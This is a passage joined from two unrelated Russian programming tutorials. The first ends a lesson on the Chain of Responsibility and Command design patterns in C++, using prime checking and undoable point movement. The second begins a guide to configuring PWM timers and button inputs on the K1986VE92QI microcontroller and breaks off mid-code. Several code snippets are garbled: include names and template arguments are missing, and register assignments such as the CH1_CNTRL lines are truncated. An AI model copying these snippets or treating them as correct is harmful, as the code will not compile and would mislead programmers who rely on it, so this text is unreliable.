Начинает работать следующая итерация цикла i получает значение 3, и снова у объекта queue вызывается метод handle с параметром 2. Но только теперь queue указывает на другой объект и вызывается метод класса DivisionChecker. Что он делает? Проверяет, что 3 не делится на 2, хранящееся у него в value, и раз оно не делится, то вызывает handle у того объекта next, который хранит. А чей это будет метод? Метод многострадального DefaultHandler. Что он делает снова? Сообщает, что число 3 простое, и возвращает false. Это false возвращается обратно в DivisionChecker, а из него обратно в основную программу, как раз к проверке условия. Раз возвращено false, то создаётся новый объект, снова класса DivisionChecker, ему в конструктор передаётся число 3 и адрес того объекта, куда сейчас указывает переменная queue, то есть адрес созданного ранее DivisionChecker. Адрес полученного объекта заносится обратно в переменную queue и получаем такую структуру ссылающихся друг на друга объектов:
Посмотрим ещё одну итерацию цикла, i равно 4, у объекта queue вызывается метод handle с параметром 4, queue указывает на DivisionChecker. Тот проверяет, что 4 не делится на 3, хранящееся у него в value, и раз оно не делится, то вызывает handle у того объекта next, который хранит, а это другой DivisionChecker! Он проверяет, что 4 делится на 2, хранящееся в свою очередь у него в value, и раз оно делится, то сразу возвращает true. Это true через пару возвратов прилетает обратно в основную программу, как раз к проверке условия, условие не срабатывает, поэтому никаких новых объектов не создаётся, и цикл продолжает работу своей дорогой.
В итоге, когда цикл доработает до конца, мы увидим на экране список простых чисел, не превышающих 100, а в памяти окажется такая структура из объектов:
В чём смысл этого паттерна? Где здесь цепочка ответственных, и за что они ответственны? Так вот же, это цепочка обработчиков DivisionHandler! Почему цепочка? Потому что каждый из них знает только следующего. Почему ответственности? Потому что он передаёт следующему ответственность за решение задачи, за исполнение запроса.
Где можно встретить пример такого поведения? Да вот, у нас на лекции ~~можно было раньше до ковидных ограничений~~. Приходит преподаватель в аудиторию, и ему нужен журнал группы, чтобы вписать отсутствующих. Должен преподаватель знать, у кого сегодня этот журнал? Конечно нет. А что он должен знать? Он должен знать одного старосту, и всё. Преподаватель такой: «Эй, староста! Давай гони сюда журнал!». А староста такой встаёт и говорит: «А меня сегодня нет, я на госуслугах записался и пошёл вакцинироваться! Но журнал должен быть у зам-старосты! Эй, зам-старосты, давай журнал!». А зам-старосты такая встаёт и говорит: «А меня тоже сегодня нет, я корзинку с пирожками понесла бабушке. Но журнал должен быть у зам-зам-старосты! Эй, зам-зам-старосты!...».
Должен преподаватель самостоятельно разбираться в хитросплетениях групповой иерархии власти? Нет, не должен. Он просто обращается к единственной точке входа, где должен выполниться его запрос, а кто именно из цепочки объектов его запрос выполнит, его не особо волнует.
Итак, идея паттерна Chain of Responsibility в том, что вызывая какую-то функциональность у некоторого объекта мы ждём, что она просто выполнится, а на самом деле за этим объектом может находиться цепочка из возможных исполнителей, где каждый исполнитель может или выполнить запрос сам, или обратиться к тому единственному следующему исполнителю, которого он знает. Как пишут в умных книжках, разрывается жёсткая связь между отправителем запроса и его исполнителем (не знаю, говорит вам сейчас эта фраза что-нибудь или нет). Важно, что цепочка исполнителей может формироваться на лету и перестраиваться в процессе работы программы, что у нас и происходит.
Диаграмму классов я взял из книжки. Но рекомендую сначала построить диаграмму классов для нашей программы, потом посмотреть на диаграмму классов паттерна из книжки ~~и кое-что заметить~~ и сопоставить классы друг с другом.
Это классический вариант паттерна Chain of Responsibility, но есть ещё один часто используемый приём, который, как мне кажется, тоже можно к этому паттерну отнести. Давайте посмотрим на другую программу.
```
#include
#include
using namespace std;
class Handler
{
public:
virtual bool handle(int request) = 0;
};
class DefaultHandler : public Handler
{
public:
bool handle(int request) override
{
printf("%d is prime\n", request);
return false;
}
};
```
Как будто, пока всё то же самое. Абстрактный базовый класс, объявляющий одну абстрактную функцию, один потомок, который получая число, сразу объявляет его простым и возвращает false.
```
class DivisionChecker2 : public DefaultHandler
{
public:
bool handle(int request) override
{
if ((request % 2 == 0) && (request != 2))
return true;
else
return DefaultHandler::handle(request);
}
};
```
А вот и отличие. Новый потомок, но не Handler, а DefaultHandler! Это значит, что он перекрывает не абстрактный метод handle базового класса Handler, а вполне себе рабочий метод handle класса DefaultHandler! Что же он делает? Он проверяет, делится ли переданное ему число на 2, и если делится, но при этом не является самим числом 2, то сразу возвращает true. А вот если это условие не выполняется, то он как и раньше вызывает другой метод, но не у какого-то другого объекта, а у самого себя же, — унаследованный метод DefaultHandler::handle. А дальше?
```
class DivisionChecker3 : public DivisionChecker2
{
public:
bool handle(int request) override
{
if ((request % 3 == 0) && (request != 3))
return true;
else
return DivisionChecker2::handle(request);
}
};
```
Новый потомок, и снова не от базового класса, а от DivisionChecker2. Проверяет переданное число на делимость на 3, и вызывает унаследованный метод DivisionChecker2::handle. Думаю, вы уже поняли, что дальше будет ещё два потомка и основная программа:
```
class DivisionChecker5 : public DivisionChecker3
{
public:
bool handle(int request) override
{
if ((request % 5 == 0) && (request != 5))
return true;
else
return DivisionChecker3::handle(request);
}
};
class DivisionChecker7 : public DivisionChecker5
{
public:
bool handle(int request) override
{
if ((request % 7 == 0) && (request != 7))
return true;
else
return DivisionChecker5::handle(request);
}
};
void main()
{
Handler *queue = new DivisionChecker7();
for (int i = 2; i < 100; i++)
queue->handle(i);
delete queue;
system("pause");
}
```
Тут, как видим, никакой цепочки из объектов не создаётся, но программа делает то же самое. И всё равно тут можно увидеть цепочку ответственности, но цепочку не из объектов, а из классов, цепочку «предок-потомок», где запрос может быть при определённых условиях обработан в классе-потомке или передан предку в иерархии. Такой приём сплошь и рядом используется при создании обработчиков событий. Там, если нужно изменить поведение какого-то обработчика, типа mouseDoubleClickEvent в Qt, мы в потомке перекрываем этот метод, проверяем в нём, должны ли мы поведение при конкретном событии менять, и если да, то выполняем нужное нам действие, а если нет, то вызываем унаследованный обработчик, передавая управление дальше по цепочке ответственных Chain of Responsibility.
### Command — Команда
Теперь к паттерну Команда. Один из самых клёвых, на мой взгляд, паттернов, с крутой идей и множеством последствий, к которым она приводит. Как обычно, берём программу, и начинаем читать.
```
#include
#include
#include
using namespace std;
class CPoint
{
private:
int \_x,\_y;
public:
CPoint(int x, int y)
{
\_x = x; \_y = y;
}
void move(int dx, int dy)
{
\_x = \_x + dx; \_y = \_y + dy;
}
void report()
{
printf("CPoint is: %d %d\n", \_x, \_y);
}
virtual ~CPoint()
{
}
};
```
Что мы тут видим? Класс для описания точки, с двумя координатами, конструктором, который координаты инициализирует, методом для сдвига точки (сиречь, изменения координат на заданное приращение), и методом для рисования точки на экране. Как? Вы считаете, что это нельзя назвать рисованием точки в заданной точке экрана? Включите абстрактное мышление и воображение! Пока всё понятно, читаем дальше.
```
class Command
{
public:
virtual void execute(CPoint *selection) = 0;
virtual void unexecute() = 0;
virtual Command *clone() = 0;
virtual ~Command() {};
};
```
А вот здесь уже всё серьёзно. Абстрактные классы нам зачем даны? Чтобы описать то общее, чем будут объединены все их потомки. Значит, у нас будет много частных случаев Команды, много команд, но объединять их все будет что? То, что у всех их можно будет:
1. вызывать метод execute, передавая туда указатель на какую-то существующую точку ~~и они будут её казнить~~;
2. вызывать метод unexecute непонятного назначения;
3. вызывать метод clone без параметров, и они будут возвращать указатель на какую-то другую команду.
Негусто, но с абстрактными классами всегда всё так… э… абстрактно. Читаем дальше.
```
class Command
{
public:
virtual void execute(CPoint *selection) = 0;
virtual void unexecute() = 0;
virtual Command *clone() = 0;
virtual ~Command() {};
};
class MoveCommand: public Command
{
private:
CPoint *_selection;
int _dx; int _dy;
public:
MoveCommand(int dx, int dy)
{
printf("MoveCommand::MoveCommand(%d, %d)\n", dx, dy);
_dx = dx;
_dy = dy;
_selection = nullptr;
}
void execute(CPoint *selection) override
{
printf("MoveCommand::execute(CPoint *selection)\n");
_selection = selection;
if (_selection != nullptr)
{
_selection -> move(_dx, _dy);
}
}
void unexecute() override
{
printf("MoveCommand::unexecute()\n");
if (_selection != nullptr)
{
_selection -> move(-_dx, -_dy);
}
}
Command *clone() override
{
printf("MoveCommand::clone()\n");
return new MoveCommand(_dx, _dy);
}
~MoveCommand()
{
printf("MoveCommand::~MoveCommand()\n");
}
};
```
Наконец, что-то конкретное, а не абстрактное! Это конкретный потомок абстрактного класса Command, а именно класс MoveCommand. У него есть свойство для хранения указателя на какую-то точку, и два целочисленных свойства для хранения смещения. В конструктор передаются и инициализируются свойства и зануляется указатель на точку, а вот дальше посмотрим поподробнее ещё раз:
```
void execute(CPoint *selection) override
{
printf("MoveCommand::execute(CPoint *selection)\n");
_selection = selection;
if (_selection != nullptr)
{
_selection -> move(_dx, _dy);
}
}
```
В метод execute у команды передаётся точка. В методе она запоминается во внутреннем указателе и у неё вызывается метод move с тем смещением \_dx и \_dy, которое хранилось в команде. Спрашивается, зачем кому-то вызывать метод execute, чтобы вызвался метод move у точки, если можно было просто вызвать самостоятельно метод move у той же самой точки? Не понятно. Читаем внимательно дальше.
```
void unexecute() override
{
printf("MoveCommand::unexecute()\n");
if (_selection != nullptr)
{
_selection -> move(-_dx, -_dy);
}
}
```
Что произойдёт, если вызвать у такой команды метод unexecute? Как видим, команда просто вызывает тот же самый метод move у точки (какой точки? да той, которая должна храниться к этому моменту в указателе \_selection), но с обратными знаками смещений. Если для одной и той же точки вызвать сначала execute, а потом unexecute, то координаты точки не изменятся. Это важно.
```
Command *clone() override
{
printf("MoveCommand::clone()\n");
return new MoveCommand(_dx, _dy);
}
```
Ну и наконец, метод clone. Мы видим, что если его вызвать у команды MoveCommand, то он создаёт и возвращает новый, но точно такой же экземпляр класса MoveCommand. Что-то мне это напоминает, какой-то другой паттерн, но я уже забыл, какой именно. Может быть кто-то вспомнит и сможет мне напомнить в комментариях.
Ну как бы и всё. Мы надували щёки, ходили вокруг да около одного и того же метода move у точки. Но ведь чтобы создать и сдвинуть точку, нужно всего лишь вызвать у неё метод move? Как-то так:
```
CPoint *selection = new CPoint(0,0);
selection->move(42, 42);
```
Нет! Нельзя просто так взять и ~~засунуть лампочку в рот~~ сдвинуть точку! У нас есть ещё целая главная функция, давайте читать её:
```
void main()
{
map commands;
commands['a'] = new MoveCommand(-10,0);
commands['d'] = new MoveCommand(10,0);
commands['w'] = new MoveCommand(0,-10);
commands['s'] = new MoveCommand(0,10);
CPoint \*selection = new CPoint(0,0);
selection->report();
stack history;
char key;
do
{
key = \_getch();
Command \*command = commands[key];
if (command != nullptr)
{
Command \*newcommand = command->clone();
newcommand->execute(selection);
history.push(newcommand);
}
if (key == 'z' && !history.empty())
{
Command \*lastcommand = history.top();
lastcommand -> unexecute();
delete lastcommand;
history.pop();
}
selection -> report();
} while (key != 27);
while (!history.empty())
{
delete history.top();
history.pop();
}
delete commands['a'];
delete commands['d'];
delete commands['w'];
delete commands['s'];
delete selection;
system("pause");
}
```
Сначала мы создаём ассоциативный массив для указателей на команды, где привязанные к символам 'a', 'd', 'w' и 's' будут лежать четыре экземпляра класса MoveCommand, отличающиеся друг от друга смещениями. Это будут четыре прообраза для четырёх возможных движений точки во все стороны света. Потом мы создаём собственно точку и рисуем её на экране. А потом мы делаем что-то совсем странное, мы создаём стек для команд. Стек, как известно, это такая несправедливая структура данных, что кто в неё пришёл последний, тот первый из неё вышел. А дальше начинается основной цикл ~~обработки сообщений~~ программы, и в нем:
```
key = _getch();
Command *command = commands[key];
if (command != nullptr)
{
Command *newcommand = command->clone();
newcommand->execute(selection);
history.push(newcommand);
}
```
Читаем с клавиатуры символ, нажатый пользователем и ищем по коду символа в ассоциативном массиве команду. Если такая команда нашлась, то мы делаем три вещи:
1. вызываем её метод clone, который, как мы помним, создаёт и возвращает новый, точно такой же ~~как прототип~~ экземпляр команды, и я снова забыл, как этот паттерн называется;
2. у полученного нового экземпляра команды, помещённого в переменную newcommand, вызываем метод execute, передавая в него нашу единственную точку;
3. новый экземпляр команды заталкивается в стек с говорящим названием history.
```
if (key == 'z' && !history.empty())
{
Command *lastcommand = history.top();
lastcommand -> unexecute();
delete lastcommand;
history.pop();
}
```
А вот если нажата клавиша 'z', то делается кое-что хитрое. Из стека history, если он не пустой, вытаскивается верхний объект-команда, у неё вызывается метод unexecute и эта команда удаляется.
За пределами моего обзора осталась перерисовка точки после каждой выполненной команды и выход их цикла по нажатой клавише Esc, но в этом вы, наверняка, и так разобрались сами.
В итоге, что позволяет делать эта программа? Она рисует точку на экране и позволяет перемещать её с помощью клавиш. При этом, если в любой момент нажать клавишу 'z', то последнее действие будет отменено (какое бы оно ни было), а если снова нажать клавишу 'z', то будет отменено предыдущее действие, и так далее.
Так что же, паттерн команда — он просто про отмену действий? Нет, это слишком близорукий взгляд на вещи. Давайте подумаем и попробуем понять идею того, что мы сделали. Ещё раз поднимем самый главный в этом паттерне вопрос. Почему нельзя просто создать объект и вызвать у него нужный метод?
```
CPoint *selection = new CPoint(0,0);
selection->move(42, 42);
```
Можно! Но дело всё в том, что вызов метода — это очень негибкая штука, по сравнению, например, с объектов. Метод можно только вызвать и не вызвать, и всё. А объект, как говорится, является first class citizen. Поэтому вместо такого простого кода нужно использовать вот такой, более сложный:
```
CPoint *selection = new CPoint(0,0);
Command *command = new CMoveCommand(42,42);
command->execute(selection);
```
**Суть почти всех с редкими исключениями паттернов**
~~Отнять и поделить.~~ Что-нибудь откуда-нибудь вытащить и инкапсулировать как отдельный объект.
Так вот, суть паттерна Команда в том, что нельзя просто так брать и вызывать метод у объекта. Надо чтобы каждый вызов метода представлял собой отдельный специальный объект! Обратите внимание — не метод move превращается в объект класса CMoveCommand, а конкретный вызов этого метода превращается в отдельный объект. Собрались вызывать метод move 20 раз — значит надо создать 20 объектов класса CMoveCommand.
Что это даёт и почему это важно. Представьте, что вы — директор маленького стартапа ~~разработчиков~~ влоггеров (хотел написать «разработчиков-программистов», но, как известно, сегодня эта профессия уже выходит из моды и все дети хотят стать влоггерами). Утром вы приходите на работу и лично подходите к каждому своему сотруднику, и говорите: «Арсений, ты сегодня внимаешь сюжет про то-то. Ты, Света, сегодня снимаешь сюжет про сё-то. А ты, Денис, сегодня должен два сюжета снять про то, как они будут снимать сюжеты». Они сразу говорят: «Будет сделано, Олег Сергеевич» и начинают… эээ… работать (это у влоггеров всё равно так называется?).
На что это похоже в мире объектов? На прямой вызов метода. Есть тот, кто вызывает, и есть тот, кто сразу исполняет. Директивно, сразу, безо всяких посредников.
Потом вы получили MBA и начинаете внедрять новые технологии непрямого управления. Вместо того, чтобы утром подходить к каждому сотруднику, вы нанимаете ассистента и кожаный диван, и удобно на нём развалившись утром пишете бумажки с поручениями. На одной бумажке — задача для Арсения, на другой — для Дениса, на третьей — для Светланы. Вы остаётесь на диване, а ассистент разносит бумажки по исполнителям, которые точно так же начинают работать.
В чём разница? Между вами и исполнителями появляется бумажка-задание, разрывается эта жёсткая связь между тем, кто даёт задание и тем, кто его исполняет. Исполнитель может припоздать на работу — он увидит бумажку с заданием чуть позже и начнёт работать. Директор может уехать на Таити в отпуск, наготовив достаточно бумажек с заданиями — ассистент вполне справится с раздачей этих бумажек каждое утро, ничего не понимая в теме. Директор может не думать, кому поручить конкретное задание — новомодная agile-команда сама разберётся, кто его будет выполнять. Исполнитель может перенаправить бумажку кому-то другому, если он приболел. Директор не сможет сказать, что он поручал совсем другое, а исполнитель не сможет сказать, что ему ничего не поручали — вот она, бумажка с конкретным заданием. Ассистент может по пути создать копию этой бумажки и ~~отправить в налоговую~~ сложить в сейф для истории. Наконец, в дальнем углу сейфа может лежать три конверта с тремя бумажками, как в известном анекдоте, помните — ведь он на самом деле про паттерн Команда!
Итак, переводим всю эту аналогию обратно на язык классов, объектов и методов. Каждый конкретный объект-команда — это замена одного вызова метода. Да, неудобно: лишний уровень indirection. Но зато с объектом, в отличие от метода, можно делать всё, что угодно: отдать куда-то, получить откуда-то, сохранить, загрузить, скопировать, и так далее. Это позволяет:
* Разорвать жёсткую связь между тем, кто инициирует действие и тем, кто его будет выполнять. Тот, кто инициирует, не обязан знать того, кто будет выполнять и наоборот.
* Отложить, разнести во времени инициацию действия и его исполнение. Действия заготовлены заранее и отправлены по нужным адресатам. В час Х действие запускается на выполнение, и в этот может уже даже может быть неизвестно, что это за действие.
* Сохранять, загружать, логгировать, клонировать, универсально работать со всеми действиями, не зная, что это конкретно за действия.
* Добавлять новые действия, расширяя, а не изменяя существующий код.
Последний пункт очень важен. Что если я захочу добавить ещё одну команду — по клавише 'o' перемещаться в начало координат? Я очевидно добавлю нового потомка для Command: команду ToOriginCommand, я создам один объект для этой команды и помещу его в наш ассоциативный массив. Как изменится при этом основной цикл программы? Никак! Вот в этом вся и фишка — основная часть программы ничего не знает про конкретные команды, она никак от них не зависит и никак не меняется при добавлении новых команд. Команды, как обработчики событий, могут быть описаны в любом порядке, это ни на что не влияет. Программа только дописывается, расширяется для добавления новой функциональности, но не изменяется. Помните вторую букву в SOLID? Ну так она как раз про это!
На сдачу, как побочный эффект, мы получаем лёгкость реализации undo, отмены действий. Если всё, что происходит, происходит в результате выполнения последовательности атомарных команд, каждая из которых умеет отменять, откатывать своё действие, то сохранив копии этих действий и их порядок выполнения, мы всегда можем «проиграть» эту цепочку в обратном порядке и откатиться назад.
Вот диаграмма классов для паттерна Команда из книжки. С Command и ConcreteCommand, я думаю, и так всё ясно, но будет поучительно, если вы попробуйте найти, где у нас в программе Invoker, Client и Receiver. Да, у нас отдельных классов таких нет, но мы же должны за деревьями лес видеть? Найдите в нашей программе те части, которые отвечают за Создание команд (Client), за хранение и вызов команд (Invoker) и за получение и исполнение команд (Receiver), убедитесь, что они достаточно друг от друга независимы.
Пожалуй, на сегодня всё. Сегодня у меня для вас три домашних задания. Во-первых, кто первый нашёл страшную специально оставленную косямбу, может ~~броситься писать об этом комментарий~~ предъявить мне сертификат на +1 балл на ближайшей пересдаче по ООП. Во-вторых, нужно найти несоответствие диаграммы классов нашей первой программы для Chain of Responsibility и такой же диаграмме в книжке GoF. В-третьих, надо в программу для паттерна Command вставить функциональность redo. Если вдруг кому понадобится, то программы лежат [здесь](https://github.com/kormitigrov/patterns). | https://habr.com/ru/post/538954/ | null | ru | null |
# Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Опрашиваем клавиши, генерируем ШИМ. Часть первая
#### Вступление
##### Отступление
С последней написанной мною статьи прошло уже довольно много времени, за что прошу прощения: ЕГЭ, поступление, начало учебы. Теперь же, когда до сессии еще далеко, а учебный процесс уже отнимает не так много времени, я могу продолжить писать статьи об освоении нашего К1986ВЕ92QI.
##### План работы
В комментариях к предыдущим статьям меня просили осветить не только работу с микроконтроллером через настройку регистров, но и с использованием SPL (Универсальной библиотеки для авто настройки периферии.). Когда мы только начинали, я не стал этого делать, ибо соблазн использовать SPL вместо ручной настройки по средствам CMSIS был бы велик, и вы бы, очень вероятно, вопреки здравому смыслу, начали бы использовать SPL везде, где только можно было бы. Сейчас же, научившись работе с некоторыми блоками периферии вручную, мы можем коснуться SPL и сравнить КПД обоих подходов в реальной задачи.
##### Цель
В качестве учебной цели, давайте помигаем светодиодом по средствам ШИМ-а (Широтно-импульсной модуляции.), при этом регулируя кнопками его частоту. Кнопки так же будем опрашивать в прерывании, вызванного другим таймером, а в момент опроса — будем инвертировать состояние второго светодиода. В реализации данной задачи нам понадобится:
1. Настроить вывод порта ввода-вывода, подключенного к светодиоду, для ручного управления. Этим светодиодом будем показывать, что мы зашли в прерывание и опросили кнопки.
2. Настроить вывод порта ввода-вывода, подключенного ко второму светодиоду, в режим управления от таймера. Именно сюда будет подаваться ШИМ сигнал от первого таймера.
3. Настроить первый таймер в режим подачи ШИМ сигнала на второй светодиод.
4. Настроить таймер для вызова прерывания, в котором мы будем опрашивать клавиши.
5. Разрешить использование прерываний на уровне таймера (по конкретному событию) и на уровне общей таблице векторов прерываний от второго таймера в целом.
#### Ручная настройка
##### Таймер 1. Реализация ШИМ
С работой таймера мы уже сталкивались [в этой статье](http://habrahabr.ru/post/256577/). Но в тот раз у нас были совсем другие цели и нынешняя настройка немного сложнее той, что была описана в приведенной выше статье.
Начнем.
1. Для начала создадим пустую оболочку функции, которая будет инициализировать таймер. На вход она должна принимать какое-то значение, характеризующее скорость ШИМ. У нее может быть абсолютно любое имя.
**Например, такое.**
```
// Инициализация таймера в режиме ШИМ для работы со светодиодом.
void initTimerPWMled (uint32_t PWM_speed)
{
}
```
2. Далее стоит вспомнить структуру таймера.
**Структура таймера.**
Структура у всех трех таймеров нашего микроконтроллера одна и та же. Каждый таймер имеет 4 канала, каждый из которых позволяет работать в режиме «захвата» и ШИМ. Нас интересует последний. Так же у каждого канала есть выходы. Причем 2: «прямой» и инвертированный. Нас интересует «прямой». В качестве выхода для выдачи сигнала ШИМ — будем использовать вывод первого канала первого таймера. Перед тем как перейти к регистрам — выделим основную задачу: наша цель, чтобы подождав некоторое время, таймер сам менял состояние на своем выходе циклично.
3. Прежде чем мы начнем настраивать таймер — нам нужно настроить вывод порта ввода-вывода на работу с таймером. О том, как настраивать выводы портов ввода-вывода я рассказывал очень подробно [тут](http://habrahabr.ru/post/255323/).
Мы решили использовать прямой выход первого канала первого таймера.
**Выводы имеют следующие имена.**
Следовательно, нам нужен канал TMR1\_CH1.
**Находим его.**Как мы видим, он подключен альтернативной функцией к каналу PA1. Не смотря на то, что есть еще выводы, которые подключены к TMR1\_CH1, мы будем использовать именно PA1.
Для этого нам нужно подать тактирование на порт (а заодно и на таймер 1) и перевести вывод в режим альтернативной функции.
```
MDR_RST_CLK->PER_CLOCK |= RST_CLK_PCLK_TIMER1|RST_CLK_PCLK_PORTA; //
Включаем таймер и тактирование порта A.
MDR_PORTA->OE |= (1<<1); // Выход.
MDR_PORTA->FUNC |= (2<<(1*2)); // Режим работы - альтернативная функция.
MDR_PORTA->ANALOG |= (1<<1); // Цифровые.
MDR_PORTA->PWR |= (3<<(1*2)); // Максимальная скорость пин обоих светодиодов.
```
4. Далее нам нужно разрешить подачу тактового сигнала на сам таймер (включить мы его уже включили, а вот подать сигнал, с которого он и будет считать — не подали). Для этого есть регистр MDR\_RST\_CLK->TIM\_CLOCK.**TIM\_CLOCK**Тут нам нужно лишь подать тактирование на таймер.
```
MDR_RST_CLK->TIM_CLOCK |= RST_CLK_TIM_CLOCK_TIM1_CLK_EN; // Подаем тактирование без предделителя.
```
5. А теперь — регистры самого таймера. Несмотря на то, что у таймера очень много регистров — большинство из них копируют друг друга, так как структура регистров управления для каждого канала — одна и та же. Для начала рассмотрим регистры всего таймера, а потом для конкретного канала.
1. Регистр CNT можно назвать основой. Именно значение в нем сравнивается с «эталонным» и в случае совпадения происходит какое-либо действие. Именно с него таймер начинает считать.
В нашем случае достаточно, чтобы он был равен нулю. Несмотря на то, что он при включении и так должен был быть равен нулю, на всякий случай лучше сбросить его, т.к. возможно, что после программной перезагрузки значение в нем будет не ноль.
**CNT**
```
MDR_TIMER1->CNT = 0; // Считай с 0.
```
2. PSG. Данный регистр отвечает за деление входного сигнала. В нашем случае на вход таймера подается 8000000 импульсов в секунду (т.к. по умолчанию частота контроллера 8 МГц = 8000000 Гц), а делители перед таймером мы не использовали. Как видно из описания, от того делителя, который мы выберем, нужно отнять 1 и это число положить в регистр. Т.к. мы планируем менять частоту ШИМ в приделах от 0.5 Гц до 250 Гц (От медленного мигания раз в 2 секунды, до неразличимого человеческим глазом мельканием, похожим на тусклое горение), то подходящим делителем может быть 32000. Это число входит в диапазон 16-ти битного числа. Таким образом, каждые 32000 тиков в CNT будет пробавляться/убавляться (в зависимости от настройки) единица.
**PSG**
```
MDR_TIMER1->PSG = 32000-1; // На таймер идет частота TIM_CLK/32000.
```
3. ARR. Именно с этим числом будет сравниваться число в CNT. Так как у нас 250 тиков — это одна секунда, то выберем половину этого времени, чтобы за секунду светодиод успел поменять свое состояние дважды. Именно это число мы укажем при вызове функции инициализации таймера.**ARR**
```
MDR_TIMER1->ARR = PWM_speed; // 1 секунда 250 тиков. У нас частота 2 герца.
```
4. С общими настройками таймера разобрались. Можно приниматься за настройку сигнала для выхода. Для каждого канала можно настроить свой сигнал. В нашем случае (для первого канала), служит регистр CH1\_CNTRL. Как мы условились выше, у нас на выходе всегда должен быть какой-то сигнал. Либо «0» — либо «1». «Мертвая зона» нам не нужна. И нам нужно, чтобы и «0» и «1» были равные промежутки времени. Для этих целей есть сигнал REF. Он может быть либо «1», либо «0». Так же мы можем менять его значения всякий раз, когда CNT == ARR. Для этого нам нужно в ячейку OCCM записать 0x03 (0b011). Все остальные параметры нас устраивают и по умолчанию.
**CH1\_CNTRL**
```
MDR_TIMER1->CH1_CNTRL = 3<
```
5. Теперь нам нужно настроить выход канала. Мы договорились использовать первый. Тут нам понадобится регистр CH1\_CNTRL1. Мы уже сформировали сигнал REF. Теперь нам нужно лишь настроить «прямой» вывод на выход и подать на него REF. Важно не перепутать группы бит SELO и SELOE. **SELO выбирает, какой сигнал идет на вывод, а SELOE выбирает, будет ли вывод являться выходом или нет**.**CH1\_CNTRL1**
```
MDR_TIMER1->CH1_CNTRL1 = (2<
```
6. Теперь нам осталось лишь включить таймер в центральном регистре (я намеренно не рассматривал его ранее, так как его нужно использовать лишь по окончании настройки всего таймера).**CNTRL**
```
MDR_TIMER1->CNTRL = TIMER_CNTRL_CNT_EN; // Включаем таймер.
```
7. В итоге мы получаем работающую функцию, инициализирующую таймер в режиме ШИМ и вывод, на котором и происходят колебания логических уровней.**Итоговая функция инициализации TIMER1**
```
// Инициализация таймера в режиме ШИМ для работы со светодиодом.
void initTimerPWMled (uint32_t PWM_speed)
{
MDR_RST_CLK->PER_CLOCK |= RST_CLK_PCLK_TIMER1|RST_CLK_PCLK_PORTA; // Включаем таймер и тактирование порта A.
MDR_RST_CLK->TIM_CLOCK |= RST_CLK_TIM_CLOCK_TIM1_CLK_EN; // Подаем тактирование без предделителя.
MDR_PORTA->OE |= (1<<1); // Выход.
MDR_PORTA->FUNC |= (2<<(1*2)); // Режим работы - альтернативная функция.
MDR_PORTA->ANALOG |= (1<<1); // Цифровые.
MDR_PORTA->PWR |= (3<<(1*2)); // Максимальная скорость пин обоих светодиодов.
MDR_TIMER1->CNT = 0; // Считай с 0.
MDR_TIMER1->PSG = 32000-1; // На таймер идет частота TIM_CLK/32000.
MDR_TIMER1->ARR = PWM_speed; // 1 секунда 250 тиков. У нас частота 2 герца.
MDR_TIMER1->CH1_CNTRL = 3<CH1\_CNTRL1 = (2<CNTRL = TIMER\_CNTRL\_CNT\_EN; // Включаем таймер.
}
```
##### Таймер 2. Вызов прерываний для опроса клавиш, изменение частоты ШИМ.
Теперь перед нами стоит задача проверить, нажата ли какая-либо клавиша и на основании нажатия изменить частоту нашего ШИМ-а. Опрашивать клавиатуру мы будем 25 раз в секунду и без проверки отпущенного нажатия. Это даст нам возможность делать большей разбег параметра ШИМ-а при нажатии.
1. Прежде чем настраивать таймер, настроим выводы для всех клавиш, что есть на нашей отладочной плате.**Подключены они следующем образом.**Как мы можем видеть, клавиши подключены к трем различным портам. Следовательно, нам нужно настроить все три порта. Замечу, что подтяжка и конденсаторная защита от дребезга уже присутствует на плате и включать внутреннюю подтяжку не нужно. С настройкой портов мы сталкивались неоднократно.**Конечный код инициализации будет выглядеть следующим образом.**Define-ы.
```
// Маски бит портов клавиш.
#define DOWN_MSK (1<<1) // PORTE
#define SELECT_MSK (1<<2) // PORTC
#define LEFT_MSK (1<<3) // PORTE
#define UP_MSK (1<<5) // PORTB
#define RIGHT_MSK (1<<6) // PORTB
#define PWRMAX_UP_MSK (3<<2*5)// PORTB
#define PWRMAX_RIGHT_MSK (3<<2*6)
#define PWRMAX_SELECT_MSK (3<<2*2)// PORTC.
#define PWRMAX_DOWN_MSK (3<<2*1)// PORTE.
#define PWRMAX_LEFT_MSK (3<<2*3)
```
Сама функция настройки.
```
// Инициализация пинов на портах B, C, E для работы с кнопками навигации,
// установленными на плате.
// Подключение кнопок описано в inc файле.
void initPinForButton (void)
{
MDR_RST_CLK->PER_CLOCK |= RST_CLK_PCLK_PORTB|RST_CLK_PCLK_PORTC|RST_CLK_PCLK_PORTE; // Включаем тактирование портов B, C, E.
MDR_PORTB->OE &= ~((uint32_t)(UP_MSK|RIGHT_MSK)); // Входы.
MDR_PORTB->FUNC &= ~((uint32_t)(UP_MSK|RIGHT_MSK)); // Режим работы - порт.
MDR_PORTB->ANALOG |= UP_MSK|RIGHT_MSK; // Цифровые.
MDR_PORTB->PULL &= ~((uint32_t)(UP_MSK|RIGHT_MSK|UP_MSK<<16|RIGHT_MSK<<16)); // Подтяжка отключена.
MDR_PORTB->PD &= ~((uint32_t)(UP_MSK|RIGHT_MSK|UP_MSK<<16|RIGHT_MSK<<16)); // Триггер Шмитта выключен гистерезис 200 мВ // Управляемый драйвер.
MDR_PORTB->PWR |= PWRMAX_UP_MSK|PWRMAX_RIGHT_MSK; // Максимальная скорость обоих выводов.
MDR_PORTB->GFEN |= UP_MSK|RIGHT_MSK; // Фильтр импульсов включен (фильтрация импульсов до 10 нс).
MDR_PORTC->OE &= ~((uint32_t)(SELECT_MSK)); // Вход.
MDR_PORTC->FUNC &= ~((uint32_t)(SELECT_MSK)); // Режим работы - порт.
MDR_PORTC->ANALOG |= SELECT_MSK; // Цифровой.
MDR_PORTC->PULL &= ~((uint32_t)(SELECT_MSK|SELECT_MSK<<16)); // Подтяжка отключена.
MDR_PORTC->PD &= ~((uint32_t)(SELECT_MSK|SELECT_MSK<<16)); // Триггер Шмитта выключен гистерезис 200 мВ. // Управляемый драйвер.
MDR_PORTC->PWR |= PWRMAX_SELECT_MSK; // Максимальная скорость вывода.
MDR_PORTC->GFEN |= SELECT_MSK; // Фильтр импульсов включен (фильтрация импульсов до 10 нс).
MDR_PORTE->OE &= ~((uint32_t)(DOWN_MSK|LEFT_MSK)); // Входы.
MDR_PORTE->FUNC &= ~((uint32_t)(DOWN_MSK|LEFT_MSK)); // Режим работы - порт.
MDR_PORTE->ANALOG |= DOWN_MSK|LEFT_MSK; // Цифровые.
